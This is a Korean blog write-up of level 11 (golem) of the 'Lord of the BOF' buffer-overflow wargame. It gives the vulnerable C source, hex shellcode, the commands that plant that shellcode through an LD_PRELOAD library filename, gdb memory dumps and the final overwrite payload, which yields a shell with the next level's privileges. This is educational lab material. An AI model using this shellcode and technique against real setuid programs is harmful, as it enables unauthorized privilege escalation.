ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LEVEL11] (skeleton -> golem) : stack destroyer
    Wargame/LordOfTheBof (redhat) 2013. 7. 5. 10:49

    1. 문제 Source

    /*
            The Lord of the BOF : The Fellowship of the BOF
            - golem
            - stack destroyer
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    
    extern char **environ;
    
    main(int argc, char *argv[])
    {
    	char buffer[40];
    	int i;
    
    	if(argc < 2){
    		printf("argv error\n");
    		exit(0);
    	}
    
    	if(argv[1][47] != '\xbf')
    	{
    		printf("stack is still your friend.\n");
    		exit(0);
    	}
    
    	strcpy(buffer, argv[1]); 
    	printf("%s\n", buffer);
    
    	// stack destroyer!
    	memset(buffer, 0, 44);
    	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));
    }
    

    우선 소스를 살펴보자.


    1. 인자의 개수(argc)는 2개 이상

    2. argv[1][47]의 값은 \xbf 여야 한다.

    3. RET를 제외한 모든 buffer의 시작주소부터 0xbfffffff까지 모두 0으로 초기화.


    이젠 완벽하게 Stack의 끝부분 (0xbfffffff) 까지 초기화되어 버린다...


    2. 공유 라이브러리

    위 3번의 조건때문에 사실상 Stack은 더이상 사용할 수가 없다.

    하지만 아직 사용할 수 있는 부분이 있다. 우선 아래의 메모리 구조를 살펴보자.



    스택의 왼쪽 부분에 공유 라이브러리 영역이 보이는가 ? 이 부분을 사용하도록 하자.

    공유 라이브러리는 프로그램이 시작되기 전 심볼(함수,변수)들을 로드하여, 필요로 할때마다 연동되는 동적인 라이브러리다. 만약 하나의 프로그램이 실행되어서 공유 라이브러리를 사용했다면, 그뒤에 공유 라이브러리를 사용하는 모든 프로그램은 자동적으로 만들어져 있는 공유 라이브러리를 사용하게 된다.

    LD_PRELOAD 를 이용하면 공유 라이브러리 부분에 원하는 라이브러리 파일을 적재할 수 있다. 이렇게 라이브러를 등록하게 되면 프로그램이 실행되기전 적재할 라이브러리를 로드하게 된다.

    그럼 만약 파일명이 shellcode인 라이브러리를 LD_PRELOAD에 등록하게 되면 어떻게 될까 ? 프로그램이 실행되기 전에 해당 라이브러리를 로드하게 되고, 메모리에 shellcode가 올라가게 되는것이다.


    즉 정리하자면 결론은 다음과 같다.

    스택 영역에 shellcode를 올릴 수 없다. 하지만 LD_PRELOAD 를 이용해서 공유 라이브러리 영역에 shellcode를 올릴수 있다.


    이제 직접 시도해보자.


    3. Exploit

    사용할 shellcode는 아래와 같다. (총 39 Byte)

    \x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3


    어차피 파일명을 shellcode로 하면 되므로, 소스는 중요하지 않다. 아래와 같이 대충 c 파일을 만든다.

    [skeleton@localhost skeleton]$ echo "void attack(){}" >> attack.c


    이후 컴파일한다. 파일명을 shellcode로 해주는것이 핵심. exploit을 쉽게 하기 위해 shellcode 앞부분에 NOP를 100개정도 넣어주었다.

    처음보는 gcc 옵션이 있는데 이는 공유 라이브러리를 만들기 위한 옵션이다.

    [skeleton@localhost skeleton]$ gcc attack.c -fPIC -shared -o `python -c "print '\x90'*100 + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`

    [skeleton@localhost skeleton]$ ls -l

    total 28

    -rw-rw-r--    1 skeleton skeleton       16 Jul  5 10:20 attack.c

    -rwsr-sr-x    1 golem    golem       12199 Mar  2  2010 golem

    -rw-r--r--    1 root     root          539 Mar 29  2010 golem.c

    -rwxrwxr-x    1 skeleton skeleton     5698 Jul  5 10:20 ????????????????????????????????????????????????????????????????????????????????????????????????????h?��?h�?SThjo?�h?i0chi0tij?Y�??Iy�A��T


    파일명이 shellcode인 공유 라이브러리가 완성되었다. 이제 LD_PRELOAD에 등록하자. (절대경로를 입력해줘야 하는것을 잊지 말자.)

    [skeleton@localhost skeleton]$ export LD_PRELOAD="`python -c "print '/home/skeleton/' + '\x90'*100 + '\x68\x8a\xe2\xce\x81\x68\xb1\x0c\x53\x54\x68\x6a\x6f\x8a\xe4\x68\x01\x69\x30\x63\x68\x69\x30\x74\x69\x6a\x14\x59\xfe\x0c\x0c\x49\x79\xfa\x41\xf7\xe1\x54\xc3'"`"


    이후 env 명령으로 확인해보면 잘 들어가있는것을 볼 수 있다.

    [skeleton@localhost skeleton]$ env

    LESSOPEN=|/usr/bin/lesspipe.sh %s

    ...중략...

    OSTYPE=Linux

    LD_PRELOAD=/home/skeleton/����������������������������������������������������������������������������������������������������h��΁h�

                            SThjo��hi0chi0tijY�


                                                 Iy�A��T


    이제 gdb로 파일명이 shellcode인 공유 라이브러리가 어디에 있는지 메모리를 확인해보자.

    우선 사본을 만들고 gdb를 붙이자.

    [skeleton@localhost skeleton]$ cp golem golea

    [skeleton@localhost skeleton]$ gdb -q golea      
    (gdb) disas main
    Dump of assembler code for function main:
    0x8048470 <main>: push   %ebp
    0x8048471 <main+1>: mov    %esp,%ebp
    ...중략...
    0x804850e <main+158>: call   0x8048398 <memset>
    0x8048513 <main+163>: add    $0xc,%esp
    0x8048516 <main+166>: leave  
    0x8048517 <main+167>: ret    
    0x8048518 <main+168>: nop    
    0x8048519 <main+169>: nop 


    프로그램이 종료되기 직전인 main+166부분에 break point를 건다.

    (gdb) b *main+166

    Breakpoint 1 at 0x8048516

    (gdb) r `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    Starting program: /home/skeleton/golea `python -c "print 'A'*40 + 'BBBB' + '\xbf\xbf\xbf\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB����


    Breakpoint 1, 0x8048516 in main ()


    Stack보다 낮은 주소에 공유 라이브러리가 있으니 -2000부터 낮은 주소를 살펴보자.

    아래의 명령어를 친 후, 아무 명령어 없이 계속 엔터만 쳐도 알아서 낮은주소를 계속 살펴볼 수 있다.

    (gdb) x/100wx $ebp-2000


    보다보면 아래와 같이 shellcode를 확인할 수 있다. 대충 중간값인 0xbffff608 을 이용하자.

    (gdb) 

    0xbffff5a8: 0x00000001 0x40000824 0xbffff5bc 0x400075bb

    0xbffff5b8: 0x40017000 0x00002fb2 0x40013868 0xbffff794

    0xbffff5c8: 0x4000380e 0x40014470 0x6d6f682f 0x6b732f65

    0xbffff5d8: 0x74656c65 0x902f6e6f 0x90909090 0x90909090

    0xbffff5e8: 0x90909090 0x90909090 0x90909090 0x90909090

    0xbffff5f8: 0x90909090 0x90909090 0x90909090 0x90909090

    0xbffff608: 0x90909090 0x90909090 0x90909090 0x90909090

    0xbffff618: 0x90909090 0x90909090 0x90909090 0x90909090

    0xbffff628: 0x90909090 0x90909090 0x90909090 0x90909090

    0xbffff638: 0x90909090 0x90909090 0x68909090 0x81cee28a

    0xbffff648: 0x530cb168 0x6f6a6854 0x0168e48a 0x68633069

    0xbffff658: 0x69743069 0xfe59146a 0x79490c0c 0xe1f741fa

    0xbffff668: 0x4000c354 0x40013868 0x4000220c 0xbffffb9b

    0xbffff678: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff688: 0x40014a00 0x00000000 0x00000000 0x00000000

    0xbffff698: 0x00000000 0x00000006 0x00000000 0x00000000

    0xbffff6a8: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff6b8: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff6c8: 0x00000000 0x00000000 0x00000000 0x00000001

    0xbffff6d8: 0x00000000 0x00000001 0xbffff5cc 0x00060000

    0xbffff6e8: 0x00000000 0x00000000 0x00000000 0x00000001

    0xbffff6f8: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff708: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff718: 0x00000000 0x00000000 0x00000000 0x00000000

    0xbffff728: 0x00000000 0x00000000 0x00000000 0x00000000


    아래는 최종 구성이다.

    buffer 

    SFP 

    RET 

     40 Byte

    4 Byte 

    4 Byte 

    A * 40

    BBBB 

    \x08\xf6\xff\xbf 


    [skeleton@localhost skeleton]$ bash2

    [skeleton@localhost skeleton]$ ./golem `python -c "print 'A'*40 + 'BBBB' + '\x08\xf6\xff\xbf'"`

    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBB���

    bash$ my-pass

    euid = 511

    cup of coffee


    성공 !


Designed by Tistory.